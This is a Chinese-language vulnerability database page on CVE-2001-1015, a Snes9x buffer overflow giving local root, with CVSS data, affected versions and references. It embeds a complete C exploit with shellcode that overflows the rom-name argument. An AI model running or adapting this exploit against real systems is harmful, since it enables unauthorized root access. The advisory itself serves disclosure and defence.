CVE-2001-1015
CVSS7.2
发布时间 :2001-10-16 00:00:00
修订时间 :2008-09-05 16:25:28
NMCOES    

[原文]Buffer overflow in Snes9x 1.37, when installed setuid root, allows local users to gain root privileges via a long command line argument.


[CNNVD]Snes9x本地缓冲区溢出漏洞(CNNVD-200110-051)

        Snes9x 1.37存在缓冲区溢出漏洞。当安装setuid根时,本地用户借助超长命令行参数提升根特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:snes9x.com:snes9x:1.3.4
cpe:/a:snes9x.com:snes9x:1.3.7

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1015
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-1015
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200110-051
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/3437
(VENDOR_ADVISORY)  BID  3437
http://archives.neohapsis.com/archives/bugtraq/2001-10/0107.html
(VENDOR_ADVISORY)  BUGTRAQ  20011016 [ ** Snes9x buffer overflow vulnerability ** ]

- 漏洞信息

Snes9x本地缓冲区溢出漏洞
高危 缓冲区溢出
2001-10-16 00:00:00 2005-10-20 00:00:00
本地  
        Snes9x 1.37存在缓冲区溢出漏洞。当安装setuid根时,本地用户借助超长命令行参数提升根特权。

- 公告与补丁

        Upgrades are available.
        Snes9x.com Snes9x.com 1.3.4
        
        Snes9x.com Snes9x.com 1.3.7
        

- 漏洞信息 (21120)

Snes9x 1.3 Local Buffer Overflow Vulnerability (EDBID:21120)
unix local
2001-10-16 Verified
0 Niels Heinen
N/A [点击下载]
source: http://www.securityfocus.com/bid/3437/info

Snes9x is a free Super Nintendo emulator that runs on a number of platforms.

Snes9x is prone to a buffer overflow. This is due to improper bounds checking of rom names. In this case, 4089 characters are required to overwrite the EIP. If this buffer is overrun, it may be possible for a local attacker to execute arbitrary code on the host. This may be a security concern on some systems because Snes9x documentation suggests setting the utilities setuid root.

Successful exploitation will lead to a full compromise of the host.

It should be noted that packages distributed in SuSE Linux, NetBSD, OpenBSD, FreeBSD, Debian Linux and Progeny Linux are not installed setuid root by default so exploitation of the buffer overflow will not lead to a root compromise on these systems.

/*
 * snes9x local root exploit
 *
 * Tested on snes9x 1.3.7 + Redhat Linux 6.1
 * 2001/10/16 Creation morinosato
 */

#include <stdio.h>
#include <stdlib.h>

#define BUFSIZE 4089

char shellcode[]=
"\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08"
"\xb1\x07\x80\x03\x20\x43\xe0\xfa\x29\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b\x87\xf3"
"\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0"
"\x40\xcd\x80\xe8\xd2\xff\xff\xff\x0f\x42"
"\x49\x4e\x0f\x53\x48";

main(int argc, char **argv)
{
	char buf[BUFSIZE + 1];
	char writeaddr[8];
	char *arg[] = {"./snes9x",buf,0};
	int i;
	unsigned int addr;

	addr = (0xc0000000 - 4)
		 - (sizeof("./snes9x"))
		 - (sizeof(buf));

	*(unsigned int *)&writeaddr[0] = addr;
	memset(buf, 'A', BUFSIZE);

	for (i = 0; i < strlen(shellcode); i++)
		buf[i] = shellcode[i];

	buf[83] = writeaddr[0];
	buf[84] = writeaddr[1];
	buf[85] = writeaddr[2];
	buf[86] = writeaddr[3];

	buf[BUFSIZE] = 0;

	printf("jmp to [0x%08x]\n",writeaddr);
	execve(arg[0], arg, 0);
}
		

- 漏洞信息

14081
Snes9x Command Line Argument Handling Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-10-16 Unknow
2001-10-16 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Snes9x Local Buffer Overflow Vulnerability
Boundary Condition Error 3437
No Yes
2001-10-16 12:00:00 2009-07-11 09:06:00
This vulnerability was submitted to BugTraq on October 16th, 2001 by Niels Heinen <zilli0n@gmx.net>.

- 受影响的程序版本

Snes9x.com Snes9x.com 1.3.7
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.4
- NetBSD NetBSD 1.5.2
- OpenBSD OpenSSH 2.9
+ S.u.S.E. Linux 7.2
+ S.u.S.E. Linux 7.1
+ S.u.S.E. Linux 7.0
+ S.u.S.E. Linux 6.4
+ S.u.S.E. Linux 6.3
Snes9x.com Snes9x.com 1.3.4
Snes9x.com Snes9x 1.3.9 -1
- Debian Linux 2.2 r3 unstable
Snes9x.com Snes9x 1.3.9
- FreeBSD FreeBSD 5.0
- NetBSD NetBSD 1.5.2
- OpenBSD OpenBSD 2.9
Snes9x.com Snes9x 1.2.9 -2
- Progeny Debian 1.0

- 不受影响的程序版本

Snes9x.com Snes9x 1.3.9 -1
- Debian Linux 2.2 r3 unstable
Snes9x.com Snes9x 1.3.9
- FreeBSD FreeBSD 5.0
- NetBSD NetBSD 1.5.2
- OpenBSD OpenBSD 2.9
Snes9x.com Snes9x 1.2.9 -2
- Progeny Debian 1.0

- 漏洞讨论

Snes9x is a free Super Nintendo emulator that runs on a number of platforms.

Snes9x is prone to a buffer overflow. This is due to improper bounds checking of rom names. In this case, 4089 characters are required to overwrite the EIP. If this buffer is overrun, it may be possible for a local attacker to execute arbitrary code on the host. This may be a security concern on some systems because Snes9x documentation suggests setting the utilities setuid root.

Successful exploitation will lead to a full compromise of the host.

It should be noted that packages distributed in SuSE Linux, NetBSD, OpenBSD, FreeBSD, Debian Linux and Progeny Linux are not installed setuid root by default so exploitation of the buffer overflow will not lead to a root compromise on these systems.

- 漏洞利用

An exploit has been made available.

- 解决方案

Upgrades are available.


Snes9x.com Snes9x.com 1.3.4

Snes9x.com Snes9x.com 1.3.7

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站